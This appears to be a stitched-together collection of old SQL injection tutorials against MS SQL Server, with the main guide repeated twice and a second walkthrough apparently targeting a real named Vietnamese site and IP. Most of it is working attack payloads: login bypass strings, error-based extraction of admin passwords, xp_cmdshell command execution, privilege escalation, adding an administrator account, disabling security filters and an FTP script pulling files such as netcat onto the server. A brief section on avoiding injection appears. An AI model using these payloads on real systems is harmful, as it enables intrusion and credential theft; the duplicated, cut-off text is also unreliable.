Now, our variable v_cat equals to "food' or 1=1-- ", if we substitute this in the SQL query, we will have:
SELECT * FROM product WHERE PCategory='food' or 1=1--'
The query now should now select everything from the product table regardless if PCategory is equal to 'food' or not. A double dash "--" tell MS SQL server ignore the rest of the query, which will get rid of the last hanging single quote ('). Sometimes, it may be possible to replace double dash with single hash "#".
However, if it is not an SQL server, or you simply cannot ignore the rest of the query, you also may try
' or 'a'='a
The SQL query will now become:
SELECT * FROM product WHERE PCategory='food' or 'a'='a'
It should return the same result.
Depending on the actual SQL query, you may have to try some of these possibilities:
' or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a
4.0 How do I get remote execution with SQL injection?
Being able to inject SQL command usually mean, we can execute any SQL query at will. Default installation of MS SQL Server is running as SYSTEM, which is equivalent to Administrator access in Windows. We can use stored procedures like master..xp_cmdshell to perform remote execution:
'; exec master..xp_cmdshell 'ping 10.10.1.2'--
Try using double quote (") if single quote (') is not working.
The semi colon will end the current SQL query and thus allow you to start a new SQL command. To verify that the command executed successfully, you can listen to ICMP packet from 10.10.1.2, check if there is any packet from the server:
#tcpdump icmp
If you do not get any ping request from the server, and get error message indicating permission error, it is possible that the administrator has limited Web User access to these stored procedures.
5.0 How to get output of my SQL query?
It is possible to use sp_makewebtask to write your query into an HTML:
'; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES"
But the target IP must folder "share" sharing for Everyone.
6.0 How to get data from the database using ODBC error message
We can use information from error message produced by the MS SQL Server to get almost any data we want. Take the following page for example:
http://duck/index.asp?id=10
We will try to UNION the integer '10' with another string from the database:
http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--
The system table INFORMATION_SCHEMA.TABLES contains information of all tables in the server. The TABLE_NAME field obviously contains the name of each table in the database. It was chosen because we know it always exists. Our query:
SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES-
This should return the first table name in the database. When we UNION this string value to an integer 10, MS SQL Server will try to convert a string (nvarchar) to an integer. This will produce an error, since we cannot convert nvarchar to int. The server will display the following error:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'table1' to a column of data type int.
/index.asp, line 5
The error message is nice enough to tell us the value that cannot be converted into an integer. In this case, we have obtained the first table name in the database, which is "table1".
To get the next table name, we can use the following query:
http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--
We also can search for data using LIKE keyword:
http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25login%25'--
Output:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'admin_login' to a column of data type int.
/index.asp, line 5
The matching patent, '%25login%25' will be seen as %login% in SQL Server. In this case, we will get the first table name that matches the criteria, "admin_login".
6.1 How to mine all column names of a table?
We can use another useful table INFORMATION_SCHEMA.COLUMNS to map out all columns name of a table:
http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--
Output:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_id' to a column of data type int.
/index.asp, line 5
Now that we have the first column name, we can use NOT IN () to get the next column name:
http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--
Output:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_name' to a column of data type int.
/index.asp, line 5
When we continue further, we obtained the rest of the column name, i.e. "password", "details". We know this when we get the following error message:
http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--
Output:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select list if the statement contains a UNION operator.
/index.asp, line 5
6.2 How to retrieve any data we want?
Now that we have identified some important tables, and their column, we can use the same technique to gather any information we want from the database.
Now, let's get the first login_name from the "admin_login" table:
http://duck/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--
Output:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'neo' to a column of data type int.
/index.asp, line 5
We now know there is an admin user with the login name of "neo". Finally, to get the password of "neo" from the database:
http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--
Output:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'm4trix' to a column of data type int.
/index.asp, line 5
We can now login as "neo" with his password "m4trix".
6.3 How to get numeric string value?
There is limitation with the technique describe above. We cannot get any error message if we are trying to convert text that consists of valid number (character between 0-9 only). Let say we are trying to get password of "trinity" which is "31173":
http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--
We will probably get a "Page Not Found" error. The reason being, the password "31173" will be converted into a number, before UNION with an integer (10 in this case). Since it is a valid UNION statement, SQL server will not throw ODBC error message, and thus, we will not be able to retrieve any numeric entry.
To solve this problem, we can append the numeric string with some alphabets to make sure the conversion fail. Let us try this query instead:
http://duck/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b'%20morpheus') FROM admin_login where login_name='trinity'--
We simply use a plus sign (+) to append the password with any text we want. (ASSCII code for '+' = 0x2b). We will append '(space)morpheus' into the actual password. Therefore, even if we have a numeric string '31173', it will become '31173 morpheus'. By manually calling the convert() function, trying to convert '31173 morpheus' into an integer, SQL Server will throw out ODBC error message:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '31173 morpheus' to a column of data type int.
/index.asp, line 5
Now, you can even login as 'trinity' with the password '31173'.
7.0 How to update/insert data into the database?
When we successfully gather all column name of a table, it is possible for us to UPDATE or even INSERT a new record in the table. For example, to change password for "neo":
http://duck/index.asp?id=10; UPDATE 'admin_login' SET 'password' = 'newpas5' WHERE login_name='neo'--
To INSERT a new record into the database:
http://duck/index.asp?id=10; INSERT INTO 'admin_login' ('login_id', 'login_name', 'password', 'details') VALUES (666,'neo2','newpas5','NA')--
We can now login as "neo2" with the password of "newpas5".
8.0 How to avoid SQL Injection?
Filter out character like single quote, double quote, slash, back slash, semi colon, extended character like NULL, carry return, new line, etc, in all strings from:
- Input from users
- Parameters from URL
- Values from cookie
For numeric value, convert it to an integer before parsing it into SQL statement. Or using ISNUMERIC to make sure it is an integer.
Change "Startup and run SQL Server" using low privilege user in SQL Server Security tab.
Delete stored procedures that you are not using like:
master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask
9.0 Where can I get more info?
One of the earliest works on SQL Injection we have encountered should be the paper from Rain Forest Puppy about how he hacked PacketStorm.
http://www.wiretrip.net/rfp/p/doc.asp?id=42&iface=6
Great article on gathering information from ODBC error messages:
http://www.blackhat.com/presentations/win-usa-01/Litchfield/BHWin01Litchfield.doc
A good summary of SQL Injection on various SQL Server on
http://www.owasp.org/asac/input_validation/sql.shtml
Senseport's article on reading SQL Injection:
http://www.sensepost.com/misc/SQLinsertion.htm
Other worth readings:
http://www.digitaloffense.net/wargames01/IOWargames.ppt
http://www.wiretrip.net/rfp/p/doc.asp?id=7&iface=6
http://www.wiretrip.net/rfp/p/doc.asp?id=60&iface=6
http://www.spidynamics.com/whitepapers/WhitepaperSQLInjection.pdf
The following article will try to help beginners with grasping the problems facing them while trying to utilize SQL Injection techniques, to successfully utilize them, and to protect themselves from such attacks.
Credit:
The information has been provided by SK.
Details
1.0 Introduction
When a machine has only port 80 opened, your most trusted vulnerability scanner cannot return anything useful, and you know that the admin always patch his server, we have to turn to web hacking. SQL injection is one of type of web hacking that require nothing but port 80 and it might just work even if the admin is patch-happy. It attacks on the web application (like ASP, JSP, PHP, CGI, etc) itself rather than on the web server or services running in the OS.
This article does not introduce anything new, SQL injection has been widely written and used in the wild. We wrote the article because we would like to document some of our pen-test using SQL injection and hope that it may be of some use to others. You may find a trick or two but please check out the "9.0 Where can I get more info?" for people who truly deserve credit for developing many techniques in SQL injection.
1.1 What is SQL Injection?
It is a trick to inject SQL query/command as an input possibly via web pages. Many web pages take parameters from web user, and make SQL query to the database. Take for instance when a user login, web page that user name and password and make SQL query to the database to check if a user has valid name and password. With SQL Injection, it is possible for us to send crafted user name and/or password field that will change the SQL query and thus grant us something else.
1.2 What do you need?
Any web browser.
2.0 What you should look for?
Try to look for pages that allow you to submit data, i.e: login page, search page, feedback, etc. Sometimes, HTML pages use POST command to send parameters to another ASP page. Therefore, you may not see the parameters in the URL. However, you can check the source code of the HTML, and look for "FORM" tag in the HTML code. You may find something like this in some HTML codes:
Everything between the have potential parameters that might be useful (exploit wise).
2.1 What if you can't find any page that takes input?
You should look for pages like ASP, JSP, CGI, or PHP web pages. Try to look especially for URL that takes parameters, like:
http://duck/index.asp?id=10
3.0 How do you test if it is vulnerable?
Start with a single quote trick. Input something like:
hi' or 1=1--
Into login, or password, or even in the URL. Example:
- Login: hi' or 1=1--
- Pass: hi' or 1=1--
- http://duck/index.asp?id=hi' or 1=1--
If you must do this with a hidden field, just download the source HTML from the site, save it in your hard disk, modify the URL and hidden field accordingly. Example:
If luck is on your side, you will get login without any login name or password.
3.1 But why ' or 1=1--?
Let us look at another example why ' or 1=1-- is important. Other than bypassing login, it is also possible to view extra information that is not normally available. Take an asp page that will link you to another page with the following URL:
http://duck/index.asp?category=food
In the URL, 'category' is the variable name, and 'food' is the value assigned to the variable. In order to do that, an ASP might contain the following code (OK, this is the actual code that we created for this exercise):
v_cat = request("category")
sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'"
set rs=conn.execute(sqlstr)
As we can see, our variable will be wrapped into v_cat and thus the SQL statement should become:
SELECT * FROM product WHERE PCategory='food'
The query should return a resultset containing one or more rows that match the WHERE condition, in this case, 'food'.
Now, assume that we change the URL into something like this:
http://duck/index.asp?category=food' or 1=1--
Now, our variable v_cat equals to "food' or 1=1-- ", if we substitute this in the SQL query, we will have:
SELECT * FROM product WHERE PCategory='food' or 1=1--'
The query now should now select everything from the product table regardless if PCategory is equal to 'food' or not. A double dash "--" tell MS SQL server ignore the rest of the query, which will get rid of the last hanging single quote ('). Sometimes, it may be possible to replace double dash with single hash "#".
However, if it is not an SQL server, or you simply cannot ignore the rest of the query, you also may try
' or 'a'='a
The SQL query will now become:
SELECT * FROM product WHERE PCategory='food' or 'a'='a'
It should return the same result.
Depending on the actual SQL query, you may have to try some of these possibilities:
' or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a
4.0 How do I get remote execution with SQL injection?
Being able to inject SQL command usually mean, we can execute any SQL query at will. Default installation of MS SQL Server is running as SYSTEM, which is equivalent to Administrator access in Windows. We can use stored procedures like master..xp_cmdshell to perform remote execution:
'; exec master..xp_cmdshell 'ping 10.10.1.2'--
Try using double quote (") if single quote (') is not working.
The semi colon will end the current SQL query and thus allow you to start a new SQL command. To verify that the command executed successfully, you can listen to ICMP packet from 10.10.1.2, check if there is any packet from the server:
#tcpdump icmp
If you do not get any ping request from the server, and get error message indicating permission error, it is possible that the administrator has limited Web User access to these stored procedures.
5.0 How to get output of my SQL query?
It is possible to use sp_makewebtask to write your query into an HTML:
'; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES"
But the target IP must folder "share" sharing for Everyone.
6.0 How to get data from the database using ODBC error message
We can use information from error message produced by the MS SQL Server to get almost any data we want. Take the following page for example:
http://duck/index.asp?id=10
We will try to UNION the integer '10' with another string from the database:
http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--
The system table INFORMATION_SCHEMA.TABLES contains information of all tables in the server. The TABLE_NAME field obviously contains the name of each table in the database. It was chosen because we know it always exists. Our query:
SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES-
This should return the first table name in the database. When we UNION this string value to an integer 10, MS SQL Server will try to convert a string (nvarchar) to an integer. This will produce an error, since we cannot convert nvarchar to int. The server will display the following error:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'table1' to a column of data type int.
/index.asp, line 5
The error message is nice enough to tell us the value that cannot be converted into an integer. In this case, we have obtained the first table name in the database, which is "table1".
To get the next table name, we can use the following query:
http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--
We also can search for data using LIKE keyword:
http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25login%25'--
Output:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'admin_login' to a column of data type int.
/index.asp, line 5
The matching patent, '%25login%25' will be seen as %login% in SQL Server. In this case, we will get the first table name that matches the criteria, "admin_login".
6.1 How to mine all column names of a table?
We can use another useful table INFORMATION_SCHEMA.COLUMNS to map out all columns name of a table:
http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--
Output:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_id' to a column of data type int.
/index.asp, line 5
Now that we have the first column name, we can use NOT IN () to get the next column name:
http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--
Output:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_name' to a column of data type int.
/index.asp, line 5
When we continue further, we obtained the rest of the column name, i.e. "password", "details". We know this when we get the following error message:
http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--
Output:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select list if the statement contains a UNION operator.
/index.asp, line 5
6.2 How to retrieve any data we want?
Now that we have identified some important tables, and their column, we can use the same technique to gather any information we want from the database.
Now, let's get the first login_name from the "admin_login" table:
http://duck/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--
Output:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'neo' to a column of data type int.
/index.asp, line 5
We now know there is an admin user with the login name of "neo". Finally, to get the password of "neo" from the database:
http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--
Output:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'm4trix' to a column of data type int.
/index.asp, line 5
We can now login as "neo" with his password "m4trix".
6.3 How to get numeric string value?
There is limitation with the technique describe above. We cannot get any error message if we are trying to convert text that consists of valid number (character between 0-9 only). Let say we are trying to get password of "trinity" which is "31173":
http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--
We will probably get a "Page Not Found" error. The reason being, the password "31173" will be converted into a number, before UNION with an integer (10 in this case). Since it is a valid UNION statement, SQL server will not throw ODBC error message, and thus, we will not be able to retrieve any numeric entry.
To solve this problem, we can append the numeric string with some alphabets to make sure the conversion fail. Let us try this query instead:
http://duck/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b'%20morpheus') FROM admin_login where login_name='trinity'--
We simply use a plus sign (+) to append the password with any text we want. (ASSCII code for '+' = 0x2b). We will append '(space)morpheus' into the actual password. Therefore, even if we have a numeric string '31173', it will become '31173 morpheus'. By manually calling the convert() function, trying to convert '31173 morpheus' into an integer, SQL Server will throw out ODBC error message:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '31173 morpheus' to a column of data type int.
/index.asp, line 5
Now, you can even login as 'trinity' with the password '31173'.
7.0 How to update/insert data into the database?
When we successfully gather all column name of a table, it is possible for us to UPDATE or even INSERT a new record in the table. For example, to change password for "neo":
http://duck/index.asp?id=10; UPDATE 'admin_login' SET 'password' = 'newpas5' WHERE login_name='neo'--
To INSERT a new record into the database:
http://duck/index.asp?id=10; INSERT INTO 'admin_login' ('login_id', 'login_name', 'password', 'details') VALUES (666,'neo2','newpas5','NA')--
We can now login as "neo2" with the password of "newpas5".
8.0 How to avoid SQL Injection?
Filter out character like single quote, double quote, slash, back slash, semi colon, extended character like NULL, carry return, new line, etc, in all strings from:
- Input from users
- Parameters from URL
- Values from cookie
For numeric value, convert it to an integer before parsing it into SQL statement. Or using ISNUMERIC to make sure it is an integer.
Change "Startup and run SQL Server" using low privilege user in SQL Server Security tab.
Delete stored procedures that you are not using like:
master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask
9.0 Where can I get more info?
One of the earliest works on SQL Injection we have encountered should be the paper from Rain Forest Puppy about how he hacked PacketStorm.
http://www.wiretrip.net/rfp/p/doc.asp?id=42&iface=6
Great article on gathering information from ODBC error messages:
http://www.blackhat.com/presentations/win-usa-01/Litchfield/BHWin01Litchfield.doc
A good summary of SQL Injection on various SQL Server on
http://www.owasp.org/asac/input_validation/sql.shtml
Senseport's article on reading SQL Injection:
http://www.sensepost.com/misc/SQLinsertion.htm
Other worth readings:
http://www.digitaloffense.net/wargames01/IOWargames.ppt
http://www.wiretrip.net/rfp/p/doc.asp?id=7&iface=6
http://www.wiretrip.net/rfp/p/doc.asp?id=60&iface=6
http://www.spidynamics.com/whitepapers/WhitepaperSQLInjection.pdf
ODBC Injection
EXAMPLE TO USE:
http://www.xxxx.com/FullStory.asp?id=1
Exploiting the hole:
http://www.xxxx.com/FullStory.asp?id=1'
Code:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBCSQLServerDriver] [SQLServer]
Unclosed quotation mark before the character string ''.
/Including/general.asp, line 840\
VERSION
http://www.xxxx.com/FullStory.asp?id=1 and 1=convert(int,@@version)--
Code:
[SQL Server]Syntax error converting the nvarchar value 'Microsoft SQL Server 7.00 - 7.00.1063 (Intel X86) Apr 9 2002 14:18:16 Copyright © 1988-2002 Microsoft Corporation Enterprise Edition on Windows NT 5.0 (Build 2195: Service Pack 4) ' to a column of data type int.
/Including/general.asp, line 840
SERVER NAME
http://www.xxxx.com/FullStory.asp?id=1 and 1=convert(int,@@servername)--
Code:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'UNESCO' to a column of data type int.
/Including/general.asp, line 840
DATABASE NAME
http://www.xxxx.com/FullStory.asp?id=1 and 1=convert(int,db_name())--
Code:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'NhaXinh' to a column of data type int.
/Including/general.asp, line 840
USER
http://www.XXXX.com/FullStory.asp?id=1 and 1=convert(int,system_user)--
Code:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'nhaxinh' to a column of data type int.
/Including/general.asp, line 840
OPENING REMOTE LINK (http://msdn.microsoft.com/library/default.asp?url=/library/en-us/tsqlref/ts_oa-oz_78z8.asp)
http://www.nhaxinh.com.vn/FullStory.asp?id=1;select * from openrowset('sqloledb','';;,'')--
Code:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server] Ad hoc access to OLE DB provider 'sqloledb' has been denied. You must access this provider through a linked server.
/Including/general.asp, line 840
GUEST = DB_OWNER :DDD
http://www.XXXX.com/FullStory.asp?id=1;exec sp_executesql N'create view dbo.test as select * from master.dbo.sysusers' exec sp_msdropretry 'xx update sysusers set sid=0x01 where name=''dbo''','xx' exec sp_msdropretry 'xx update dbo.test set sid=0x01,roles=0x01 where name=''guest''','xx' exec sp_executesql N'drop view dbo.test'--
Code:
No result expected, normal page loading
Enable us to do sum nice stuff like xp_regwrite e xp_cmdshell
ADDIN TO "BUILTIN\ADMINISTRATORS"
http://www.nhaxinh.com.vn/FullStory.asp?id=1;exec sp_executesql N'create view dbo.test as select * from master.dbo.sysxlogins' exec sp_msdropretry 'xx update sysusers set sid=0x01 where name=''dbo''','xx' exec sp_msdropretry 'xx update dbo.test set xstatus=18 where name=''BUILTIN\ADMINISTRATORS''','xx' exec sp_executesql N'drop view dbo.test'--
and then
http://www.xxxx.com/FullStory.asp?id=1;exec master..sp_addsrvrolemember 'nhaxinh',sysadmin --
ENABLE OPENROWSET/OLEDB
http://www.xxxx.com/FullStory.asp?id=1;select * from openrowset('sqloledb','';;,'')--
Code:
Microsoft OLE DB Provider for ODBC Drivers error '80004005'
[Microsoft][ODBC SQL Server Driver][SQL Server]Login failed for user 'SYSTEM'.
/Including/general.asp, line 840
http://www.xxxx.com/FullStory.asp?id=1;exec master..xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Services\Tcpip\Parameters','EnableSecurityFilters'
ENABLE MASTER..XP_CMDSHELL & "ALLOW UPDATES"
http://www.xxxx.com/FullStory.asp?id=1;select * from openrowset('sqloledb', 'server=UNESCO;uid=BUILTIN\Administrators;pwd=', 'set fmtonly off exec master..sp_addextendedproc xp_cmd,''xpsql70.dll'' exec sp_configure ''allow updates'', ''1'' reconfigure with override')
!!PAY ATTETION TO THE SERVER= PARAMETER
Code:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Could not process object 'set fmtonly off master..sp_addextendedproc xp_cmd 'xpsql70.dll' exec sp_configure 'allow updates', '1' reconfigure with override'. The OLE DB provider 'sqloledb' indicates that the object has no columns.
/Including/general.asp, line 840
if dun work try:
http://www.xxxx.com/FullStory.asp?id=1;select * from openrowset('sqloledb', 'server=UNESCO;uid=BUILTIN\Administrators;pwd=', 'set fmtonly off select 1 exec master..sp_addextendedproc xp_cmd,''xpsql70.dll'' exec sp_configure ''allow updates'', ''1'' reconfigure with override')--
NOW SCRIPT KIDDIES
http://www.xxxx.com/FullStory.asp?id=1;drop table t create table t(a int identity,b varchar(1000)) insert into t exec master..xp_cmdshell 'ipconfig'--
http://www.nhaxinh.com.vn/FullStory.asp?id=1 and 1=convert(int,(select top 1 b from t where b like '%25IP Address%25'))-- (%25 == “%”)
Code:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ' IP Address. . . . . . . . . . . . : 203.162.7.70 ' to a column of data type int.
/Including/general.asp, line 840
C:\> ping 203.162.7.70
Pinging 203.162.7.70 with 32 bytes of data:
Reply from 203.162.7.70: bytes=32 time=232ms TTL=118
C:\> ftp 203.162.7.70
Connected to 203.162.7.70.
220 unesco Microsoft FTP Service (Version 5.0).
User (203.162.7.70:(none)):
203.162.7.70 == panvietnam.com
http://www.xxxx.com/FullStory.asp?id=1;select * from openrowset('sqloledb', 'server=UNESCO;uid=BUILTIN\Administrators;pwd=', 'set fmtonly off select 1 exec xp_cmdshell "net user a /add %26 net localgroup administrators a /add"')-- (%26 == "&")
Code:
C:\> ftp 203.162.7.70
Connected to 203.162.7.70.
220 unesco Microsoft FTP Service
(Version 5.0).
User (203.162.7.70:(none)): a
331 Password required for a.
Password:
530 User a cannot log in.
Login failed.
ftp> bye
UPLOAD NETCAT LÊN
http://www.xxxx.com/FullStory.asp?id=1;select * from openrowset('sqloledb', 'server=UNESCO;uid=BUILTIN\Administrators;pwd=', 'set fmtonly off select 1 exec master..xp_cmdshell "echo open a.b.c.d %3Ef %26 echo user a a %3E%3Ef %26 echo bin %3E%3Ef %26 echo cd a %3E%3Ef %26 echo mget * %3E%3Ef %26 echo quit %3E%3Ef %26 ftp -v -i -n -s%3Af" %26 del f')-- (%3E == ">")
Code:
echo open a.b.c.d >f
echo user a a >>f
echo bin >> f
echo cd a >>f
echo mget * >>f
echo quit >>f
ftp -v -i -n -s:f
del f
http://www.xxxx.com/FullStory.asp?id=1;drop table t create table t(a int identity,b varchar(1000)) insert into t exec master..xp_cmdshell 'dir nx.exe'--
http://www.xxxx.com/FullStory.asp?id=1 and 1=convert(int,(select b from t where a=1))--
http://www.xxxx.com/FullStory.asp?id=1 and 1=convert(int,(select b from t where a=6))--
Code:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value '08/17/2003 11:31a 11,776 nx.exe' to a column of data type int.
/Including/general.asp, line 840
http://www.xxxx.com/FullStory.asp?id=1
Exploiting the hole:
http://www.xxxx.com/FullStory.asp?id=1'
Code:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBCSQLServerDriver] [SQLServer]
Unclosed quotation mark before the character string ''.
/Including/general.asp, line 840\
VERSION
http://www.xxxx.com/FullStory.asp?id=1 and 1=convert(int,@@version)--
Code:
[SQL Server]Syntax error converting the nvarchar value 'Microsoft SQL Server 7.00 - 7.00.1063 (Intel X86) Apr 9 2002 14:18:16 Copyright © 1988-2002 Microsoft Corporation Enterprise Edition on Windows NT 5.0 (Build 2195: Service Pack 4) ' to a column of data type int.
/Including/general.asp, line 840
SERVER NAME
http://www.xxxx.com/FullStory.asp?id=1 and 1=convert(int,@@servername)--
Code:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'UNESCO' to a column of data type int.
/Including/general.asp, line 840
DATABASE NAME
http://www.xxxx.com/FullStory.asp?id=1 and 1=convert(int,db_name())--
Code:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'NhaXinh' to a column of data type int.
/Including/general.asp, line 840
USER
http://www.XXXX.com/FullStory.asp?id=1 and 1=convert(int,system_user)--
Code:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'nhaxinh' to a column of data type int.
/Including/general.asp, line 840
OPENING REMOTE LINK (http://msdn.microsoft.com/library/default.asp?url=/library/en-us/tsqlref/ts_oa-oz_78z8.asp)
http://www.nhaxinh.com.vn/FullStory.asp?id=1;select * from openrowset('sqloledb','';;,'')--
Code:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server] Ad hoc access to OLE DB provider 'sqloledb' has been denied. You must access this provider through a linked server.
/Including/general.asp, line 840
GUEST = DB_OWNER :DDD
http://www.XXXX.com/FullStory.asp?id=1;exec sp_executesql N'create view dbo.test as select * from master.dbo.sysusers' exec sp_msdropretry 'xx update sysusers set sid=0x01 where name=''dbo''','xx' exec sp_msdropretry 'xx update dbo.test set sid=0x01,roles=0x01 where name=''guest''','xx' exec sp_executesql N'drop view dbo.test'--
Code:
No result expected, normal page loading
Enable us to do sum nice stuff like xp_regwrite e xp_cmdshell
ADDIN TO "BUILTIN\ADMINISTRATORS"
http://www.nhaxinh.com.vn/FullStory.asp?id=1;exec sp_executesql N'create view dbo.test as select * from master.dbo.sysxlogins' exec sp_msdropretry 'xx update sysusers set sid=0x01 where name=''dbo''','xx' exec sp_msdropretry 'xx update dbo.test set xstatus=18 where name=''BUILTIN\ADMINISTRATORS''','xx' exec sp_executesql N'drop view dbo.test'--
and then
http://www.xxxx.com/FullStory.asp?id=1;exec master..sp_addsrvrolemember 'nhaxinh',sysadmin --
ENABLE OPENROWSET/OLEDB
http://www.xxxx.com/FullStory.asp?id=1;select * from openrowset('sqloledb','';;,'')--
Code:
Microsoft OLE DB Provider for ODBC Drivers error '80004005'
[Microsoft][ODBC SQL Server Driver][SQL Server]Login failed for user 'SYSTEM'.
/Including/general.asp, line 840
http://www.xxxx.com/FullStory.asp?id=1;exec master..xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Services\Tcpip\Parameters','EnableSecurityFilters'
ENABLE MASTER..XP_CMDSHELL & "ALLOW UPDATES"
